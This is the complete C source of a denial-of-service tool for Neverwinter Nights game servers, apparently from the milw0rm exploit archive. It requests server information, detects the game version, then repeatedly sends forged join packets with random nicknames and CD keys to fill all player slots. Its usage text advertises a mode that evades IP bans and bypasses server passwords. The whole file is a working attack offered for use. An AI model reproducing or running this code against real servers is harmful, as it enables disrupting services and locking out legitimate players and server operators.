479 lines
No EOL
15 KiB
C
479 lines
No EOL
15 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#define FIVESEC 5000
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#define FIVESEC 5
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PORT 5121
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#define TIMEOUT 3
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#define NICKSZ 8 // if you modify here, you must modify pck1 too!
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#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
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< 0) std_err(); \
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fputc('.', stdout);
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#define RECV if(timeout(sd) < 0) { \
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fputs("\n" \
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"Error: socket timeout, no reply received\n" \
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"\n", stdout); \
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exit(1); \
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} \
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len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
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if(len < 0) std_err(); \
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fputc('.', stdout);
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int find_gamever(u_char *data, int len);
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int create_rand_string(u_char *data, int len, u_int tmp);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer,
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peerl;
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u_int seed;
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int sd,
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i,
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len,
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on = 1,
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special = 0,
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info_only = 0,
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ser_ver = 0;
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u_short port = PORT;
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u_char buff[BUFFSZ],
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query[] =
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"\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00",
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srvname[] =
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"BNES"
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"\x00\x14"
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"\x00",
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info[] =
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"BNXI"
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"\x00\x14",
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pck1[] =
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"BNCS"
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"\x00\x14"
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"\x10"
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"\x00\x00\x00\x00" // 8062 = version
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"\x03\x00"
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"\x01"
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"\x00\x00\x00\x00" // random
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"\x08" "abcdefgh" // NICKSZ and nickname
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"\x08" "00000000", // cd-key
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pck2[] =
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"BNVS"
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"\x50\x03"
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"\x28" "0000000000000000000000000000000000000000"
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"\x28" "0000000000000000000000000000000000000000"
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"\x28" "0000000000000000000000000000000000000000"
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"\x20" "00000000000000000000000000000000"
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"\x20" "00000000000000000000000000000000";
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setbuf(stdout, NULL);
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fputs("\n"
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"Neverwinter Nights special Fake Players DoS "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s [options] <host>\n"
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"\n"
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"Options:\n"
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"-p PORT server port (default %d)\n"
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"-s special attack, you will be able to consume all the server sockets\n"
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" simply sending less than 100 packets each time. This type of attack\n"
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" is useful because the admin cannot easily ban your IP and is fast.\n"
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" It is automatically enabled if the server is protected by password.\n"
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" -> This is the ONLY way to fill an internet server!!! Without this\n"
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" option you can fill only local servers!\n"
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"-i informations only, requests remote informations and exits\n"
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"-v VER server version, by default this tool automatically retrieves the\n"
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" exact remote version (needed for the attack)\n"
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"\n"
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" Works also versus servers protected by password without knowing the keyword!\n"
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"\n", argv[0], port);
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exit(1);
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}
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argc--;
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for(i = 1; i < argc; i++) {
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switch(argv[i][1]) {
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case 'p': port = atoi(argv[++i]); break;
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case 's': special = 1; break;
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case 'i': info_only = 1; break;
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case 'v': ser_ver = atoi(argv[++i]); break;
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default: {
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printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
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exit(1);
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}
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}
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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peer.sin_addr.s_addr = resolv(argv[argc]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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peerl.sin_addr.s_addr = INADDR_ANY;
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peerl.sin_port = htons(time(NULL));
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peerl.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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fputs("- request informations:\n", stdout);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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SEND(srvname);
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RECV;
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if(memcmp(buff, "BNER", 4)) {
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fputs("\nError: bad reply from the server\n\n", stdout);
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exit(1);
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}
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buff[buff[8] + 9] = 0x00;
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printf("\n"
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" Server name %s\n", buff + 9);
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SEND(info);
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RECV;
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close(sd);
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if(memcmp(buff, "BNXR", 4)) {
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fputs("\nError: bad reply from the server\n\n", stdout);
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exit(1);
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}
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buff[buff[19] + 20] = 0x00;
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printf("\n"
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" Game port %d\n"
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" Player Password %s\n"
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" Levels %d -> %d\n"
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" Players %d / %d\n"
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" Local Characters Allowed %s\n"
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" Player vs Player %s\n"
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" Players Pause Enabled %s\n"
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" Only One Party %s\n"
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" Enforce Legal Characters %s\n"
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" Item Level Restrictions %s\n"
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" Module %s\n"
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"\n",
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*(u_short *)(buff + 4),
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buff[7] ? "on" : "off",
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buff[8], buff[9],
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buff[10], buff[11],
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buff[12] ? "on" : "off",
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buff[13] ? "party or full" : "none",
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buff[14] ? "on" : "off",
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buff[15] ? "on" : "off",
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buff[16] ? "on" : "off",
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buff[17] ? "on" : "off",
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buff + 20);
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if(info_only) return(0);
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if(!ser_ver) {
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fputs("- retrieve server version (needed!):\n", stdout);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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*(u_long *)(query + 3) = peer.sin_addr.s_addr; // something random
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SEND(query);
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RECV;
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close(sd);
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ser_ver = find_gamever(buff, len);
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if(ser_ver <= 0) {
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fputs("\n"
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"Error: no gamever field found, you must manually specify the server version\n"
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" with the -v option\n"
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"\n", stdout);
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exit(1);
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}
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}
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printf("\n- server version %d\n", ser_ver);
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*(u_long *)(pck1 + 7) = ser_ver;
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seed = time(NULL);
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fputs("- start attack:\n", stdout);
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for(;;) {
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for(i = 0;; i++) {
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if(special) printf("\n Packet %d: ", i);
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else fputs("\n Player: ", stdout);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
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< 0) std_err();
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peerl.sin_port++;
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if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
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< 0) std_err();
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*(u_long *)(pck1 + 14) = peerl.sin_port;
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seed = create_rand_string(pck1 + 19, NICKSZ, seed); // random nick
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seed = create_rand_string(pck1 + 20 + NICKSZ, 8, seed); // random cd-key
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SEND(pck1);
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RECV;
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if(buff[6] != 0x56) {
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if(buff[7] == 5) {
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close(sd);
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break;
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} else if(buff[7] == 2) {
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fputs("\nError: wrong version, server uses another version (check the -v option)\n\n", stdout);
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exit(1);
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} else if(buff[7] == 6) {
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fputs("\nAlert: a player with a same name already exists, I wait 5 seconds and retry\n", stdout);
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close(sd);
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sleep(FIVESEC);
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continue;
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} else if(buff[7] == 10) {
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fputs("\nError: you are banned on this server\n\n", stdout);
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exit(1);
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} else if(buff[7] == 12) {
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fputs("\nError: your nickname contains wrong chars\n\n", stdout);
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exit(1);
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} else if(buff[7] == 32) {
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fputs("- password protection, I bypass it", stdout);
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close(sd);
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continue;
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} else {
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printf("\nError: the fake player has not been accepted (error %d)\n\n", buff[7]);
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exit(1);
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}
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}
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if(special) {
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close(sd);
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continue;
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}
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RECV;
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seed = create_rand_string(pck2 + 7, 40, seed);
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seed = create_rand_string(pck2 + 48, 40, seed);
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seed = create_rand_string(pck2 + 89, 40, seed);
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seed = create_rand_string(pck2 + 130, 32, seed);
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seed = create_rand_string(pck2 + 163, 32, seed);
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SEND(pck2);
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RECV;
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if(!memcmp(buff, "BNVRR", 5)) {
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fputs("\n"
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"Error: the player seems to have not been accepted.\n"
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" Remember that you must use the special attack (-s option) to fill\n"
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" internet servers!\n"
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"\n", stdout);
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}
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close(sd);
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}
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fputs("- server full", stdout);
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sleep(FIVESEC);
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}
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return(0);
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}
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int find_gamever(u_char *data, int len) {
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int nt = 0,
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ver = -1;
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u_char *p,
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*limit;
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limit = data + len;
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data += 5;
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while(data < limit) {
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p = strchr(data, 0x00);
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if(!p) break;
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*p = 0x00;
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if(!nt) {
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if(!*data) break;
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if(!strcmp(data, "gamever")) ver = 0;
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nt++;
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} else {
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if(!ver) ver = atoi(data);
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nt = 0;
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}
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data = p + 1;
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}
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return(ver);
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}
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int create_rand_string(u_char *data, int len, u_int tmp) {
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if(!tmp) tmp++;
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while(len--) {
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tmp = (*data + tmp) % 62;
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if(tmp <= 9) {
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*data = tmp + '0';
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} else if((tmp >= 10) && (tmp <= 35)) {
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*data = (tmp - 10) + 'A';
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} else {
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*data = (tmp - 36) + 'a';
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}
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data++;
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}
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return(tmp << 1);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2004-12-01]
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